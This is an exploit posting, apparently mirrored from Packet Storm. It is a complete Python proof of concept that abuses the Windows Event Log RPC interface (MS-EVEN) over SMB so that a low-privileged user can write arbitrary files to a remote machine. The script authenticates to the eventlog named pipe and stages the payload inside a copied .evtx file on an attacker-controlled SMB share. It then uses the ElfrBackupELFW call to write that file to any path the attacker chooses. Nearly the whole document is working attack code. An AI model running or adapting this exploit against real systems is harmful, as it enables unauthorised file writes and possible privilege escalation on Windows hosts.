Share
## https://sploitus.com/exploit?id=PACKETSTORM:216055
=============================================================================================================================================
    | # Title     : Abuse of MS-EVEN (Event Log RPC) Write Primitive via SMB for Arbitrary File Write                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : No standalone download available                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    :  This Python script demonstrates the abuse of the Microsoft Event Log Remote Protocol (MS-EVEN) to achieve an arbitrary file write over SMB using low-privileged credentials. 
                      By interacting with the Windows \pipe\eventlog named pipe through DCERPC, the script leverages the ElfrOpenBELW and ElfrBackupELFW functions to write attacker-controlled data to a chosen remote path.
                      The technique works by embedding arbitrary file data into a valid .evtx (Event Log) file and then invoking the backup operation to redirect the content to a target location. 
    				  If misconfigurations or weak permissions exist, this behavior can lead to unauthorized file creation or overwrite on the target system.
                      This method represents a write primitive abuse scenario, potentially enabling further escalation depending on the remote path and system configuration.
    
    [+] POC   : 
    
    #!/usr/bin/env python3
    
    import os
    import shutil
    import argparse
    import sys
    
    from impacket.dcerpc.v5 import even
    from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
    from impacket.dcerpc.v5.transport import DCERPCTransportFactory
    
    
    class Attacker:
    
        LOG_MSG_TEMPLATE = "[+] - {message}"
        EVENT_LOG_NCACN = r"ncacn_np:{ip}[\pipe\eventlog]"
        RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5
        TEMP_EVTX_FILE_TEMPLATE = "Temp_{valid_evtx_file}"
        SHARE_PATH = r"\\{smb_server_ip}\Share\{local_file_path}"
    
        def __init__(self, ip, username, password, smb_server_ip,
                     domain=None, lmhash=None, nthash=None):
    
            self.smb_server_ip = smb_server_ip
            self.connection = None
            self.dce = None
    
            try:
                self.log("Initializing Connection...")
                string_binding = self.EVENT_LOG_NCACN.format(ip=ip)
                self.connection = DCERPCTransportFactory(string_binding)
    
                if hasattr(self.connection, "set_credentials"):
                    self.connection.set_credentials(
                        username,
                        password,
                        domain,
                        lmhash,
                        nthash
                    )
    
                self.connection.connect()
    
                self.dce = self.connection.get_dce_rpc()
                self.dce.set_auth_level(self.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
                self.dce.connect()
    
                self.log("Binding MS-EVEN Interface...")
                self.dce.bind(even.MSRPC_UUID_EVEN)
    
            except Exception as e:
                self.log(f"Connection failed: {e}")
                self.cleanup_connection()
                sys.exit(1)
    
        def log(self, message):
            print(self.LOG_MSG_TEMPLATE.format(message=message))
    
        def create_rpc_unicode_string(self, string_value):
            unicode_string = RPC_UNICODE_STRING()
            unicode_string["Data"] = string_value
            encoded = string_value.encode("utf-16-le")
            unicode_string["Length"] = len(encoded)
            unicode_string["MaximumLength"] = len(encoded)
    
            return unicode_string
    
        def create_target_evtx(self, src):
            if not os.path.exists(src):
                raise FileNotFoundError(f"Valid EVTX file not found: {src}")
    
            file_name = os.path.basename(src)
            dest_name = self.TEMP_EVTX_FILE_TEMPLATE.format(
                valid_evtx_file=file_name
            )
    
            shutil.copy(src, dest_name)
            return dest_name
    
        def cleanup_file(self, file_path):
            if file_path and os.path.exists(file_path):
                os.remove(file_path)
    
        def upload_file(self, local_file_path, remote_file_path, valid_evtx_file_path):
    
            temp_valid_evtx_file = None
            handle = None
    
            try:
                if not os.path.exists(local_file_path):
                    raise FileNotFoundError(f"Local file not found: {local_file_path}")
    
                temp_valid_evtx_file = self.create_target_evtx(valid_evtx_file_path)
    
                file_path_in_share = self.SHARE_PATH.format(
                    smb_server_ip=self.smb_server_ip,
                    local_file_path=os.path.basename(temp_valid_evtx_file),
                )
    
                unicode_valid_evtx_share_path = self.create_rpc_unicode_string(
                    file_path_in_share
                )
    
                unicode_remote_path = self.create_rpc_unicode_string(
                    remote_file_path
                )
    
                self.log(f"Starting upload to {remote_file_path}")
    
                with open(local_file_path, "rb") as f:
                    local_file_data = f.read()
    
                with open(temp_valid_evtx_file, "rb+") as valid_evtx_file:
                    handle = even.hElfrOpenBELW(
                        self.dce,
                        unicode_valid_evtx_share_path
                    )
    
                    valid_evtx_file.seek(0)
                    valid_evtx_file.write(local_file_data + b"\x00")
                    valid_evtx_file.flush()
    
                    even.hElfrBackupELFW(
                        self.dce,
                        handle["LogHandle"],
                        unicode_remote_path
                    )
    
                self.log("Upload completed successfully.")
    
            except Exception as e:
                self.log(f"Upload failed: {e}")
    
            finally:
                try:
                    if handle:
                        even.hElfrCloseEL(self.dce, handle["LogHandle"])
                except Exception:
                    pass
    
                self.cleanup_file(temp_valid_evtx_file)
    
        def cleanup_connection(self):
            try:
                if self.dce:
                    self.dce.disconnect()
            except Exception:
                pass
    
            try:
                if self.connection:
                    self.connection.disconnect()
            except Exception:
                pass
    
    
    def main():
    
        parser = argparse.ArgumentParser()
    
        parser.add_argument("ip_to_attack")
        parser.add_argument("smb_server_ip")
        parser.add_argument("username")
        parser.add_argument("password")
        parser.add_argument("valid_evtx_file_path")
        parser.add_argument("local_file_path")
        parser.add_argument("remote_file_path")
    
        parser.add_argument("--domain", default="")
        parser.add_argument("--lmhash", default="")
        parser.add_argument("--nthash", default="")
    
        args = parser.parse_args()
    
        attacker = Attacker(
            ip=args.ip_to_attack,
            username=args.username,
            password=args.password,
            smb_server_ip=args.smb_server_ip,
            domain=args.domain,
            lmhash=args.lmhash,
            nthash=args.nthash
        )
    
        attacker.upload_file(
            local_file_path=args.local_file_path,
            remote_file_path=args.remote_file_path,
            valid_evtx_file_path=args.valid_evtx_file_path
        )
    
        attacker.cleanup_connection()
    
    
    if __name__ == "__main__":
        main()
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================